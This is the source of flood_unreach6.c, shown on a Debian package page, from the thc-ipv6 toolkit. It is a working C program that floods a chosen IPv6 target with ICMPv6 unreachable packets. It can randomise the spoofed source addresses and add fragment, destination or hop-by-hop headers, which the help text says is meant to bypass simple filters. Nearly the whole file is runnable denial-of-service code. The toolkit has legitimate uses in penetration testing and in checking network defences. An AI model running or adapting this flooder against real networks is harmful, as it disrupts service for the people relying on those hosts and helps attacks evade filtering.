File: flood_unreach6.c

package info (click to toggle)
thc-ipv6 3.6-1
  • links: PTS, VCS
  • area: main
  • in suites: bullseye, buster, sid
  • size: 2,116 kB
  • sloc: ansic: 52,618; sh: 529; makefile: 77; perl: 34
file content (159 lines) | stat: -rw-r--r-- 4,615 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"

void help(char *prg) {
  printf("%s %s (c) 2019 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
  printf("Syntax: %s [-HFD] [-p|-h] [-r|-R] interface target\n\n", prg);
  printf("Flood the target with ICMPv6 unreachable packets.\n");
  printf("-F/-D/-H add fragment/destination/hopbyhop header to bypass simple filters\n");
  printf("-p/-h    send port/host unreachable instead of network unreachable\n");
  printf("-r/-R    randomize source from /64 / randomize source completely\n");
//  printf("Use -r to use raw mode.\n\n");
  exit(-1);
}

int main(int argc, char *argv[]) {
  char *interface, mac[6] = "", newroutermac[6];
  unsigned char *mac6 = mac;
  unsigned char buf[1460], buf2[6], buf3[1504];
  unsigned char *dst = thc_resolve6("ff02::1"), *src = NULL, *fake_dst = NULL, *dstmac = NULL, *oldrouter = NULL, *newrouter = NULL;
  int i, j, k, type = NXT_ICMP6, offset = 14, rand_newrouter = 1, rand_src = 0, unreach = 0;
  unsigned char *pkt = NULL, *pkt2 = NULL;
  int pkt_len = 0, pkt_len2 = 0, rawmode = 0, count = 0, do_alert = 0, do_hop = 0, do_frag = 0, do_dst = 0;
  int until = 0;
  thc_ipv6_hdr *hdr = NULL, *hdr2 = NULL;

  if (argc < 3)
    help(argv[0]);

  while ((i = getopt(argc, argv, "DFHphrR")) >= 0) {
    switch (i) {
    case 'p':
      unreach = 4;
      break;
    case 'h':
      unreach = 3;
      break;
    case 'r':
      rand_src = 1;
      break;
    case 'R':
      rand_src = 2;
      break;
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'a':
      do_alert = 1;
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 1)
    help(argv[0]);

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[optind];
  dst = thc_resolve6(argv[optind + 1]);
  mac6 = thc_get_own_mac(interface);
  src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL);
  dstmac = thc_get_mac(interface, src, dst);

  if (mac6 == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }

  // we keep our real source in the packet to report as unreachable to allow tracing misuse of the tool
  if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, dst, src, 0, 0, 0, 0, 0)) == NULL)
    return -1;
  if (thc_add_udp(pkt2, &pkt_len2, 53, 53, 0, NULL, 0) < 0)
    return -1;
  thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2);
  hdr = (thc_ipv6_hdr *) pkt2;

  if (do_hdr_size)
    offset = do_hdr_size;

  memset(buf3, 0, sizeof(buf3));
  memcpy(buf, hdr->pkt + offset, hdr->pkt_len - offset);
  j = hdr->pkt_len - offset;

  if (do_alert) {
    buf2[0] = 5;
    buf2[1] = 2;
  }
  
  printf("Starting to flood with ICMPv6 unreachable on %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", interface);
  while (until != 1) {
    if (rand_src > 0) {
      for (i = 0; i < 8; i++)
        src[8 + i] = rand() % 256;
      if (rand_src > 1)
        for (i = 1; i < 8; i++)
          src[i] = rand() % 256;
    }

    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (do_hop) {
      type = NXT_HBH;
      if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
        return -1;
    }
    if (do_frag) {
      if (type == NXT_ICMP6)
        type = NXT_FRAG;
      for (i = 0; i < do_frag; i++)
        if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0)
          return -1;
    }
    if (do_dst) {
      if (type == NXT_ICMP6)
        type = NXT_DST;
      if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
        return -1;
    }
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_UNREACH, unreach, 0, buf, j, 0) < 0)
      return -1;
    if (do_dst) {
      thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
      hdr2 = (thc_ipv6_hdr *) pkt;
      thc_send_as_fragment6(interface, oldrouter, dst, type, hdr2->pkt + 40 + offset, hdr2->pkt_len - 40 - offset, 1240);
    } else {
      if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
        printf("!");
      }
    }
    count++;
    
    pkt = thc_destroy_packet(pkt);
    if (count % 1000 == 0)
      printf(".");
    if (until > 1)
      until--;
  }

  return 0;
}